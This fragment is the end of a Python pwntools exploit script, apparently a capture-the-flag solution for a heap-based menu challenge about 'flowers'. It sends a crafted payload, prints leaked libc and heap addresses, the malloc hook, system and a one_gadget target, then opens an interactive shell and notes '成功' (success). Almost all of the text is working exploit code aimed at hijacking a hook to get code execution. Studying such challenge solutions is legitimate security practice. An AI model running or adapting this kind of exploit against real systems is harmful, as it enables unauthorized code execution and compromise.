sla(b'Your choice : ',b'1')
sla(b'Length of the name :', str(0x60).encode())
sla(b'The name of flower :',payload)

### info

NAUPINFO('LIBCBASE',hex(libcbase))

NAUPINFO('LEAK HEAP',hex(leakheap))
NAUPINFO('HEAP BASE',hex(heapbase))

NAUPINFO('IO STDOUT',hex(IO_stdout))
NAUPINFO('FAKE CHUNK',hex(fakechunk))

NAUPINFO('MALLOC HOOK',hex(libc_malloc_hook))
NAUPINFO('LIBC SYSTEM',hex(libc_system))
NAUPINFO('ONEGADGET',hex(onegadget))

### interactive
ita()

成功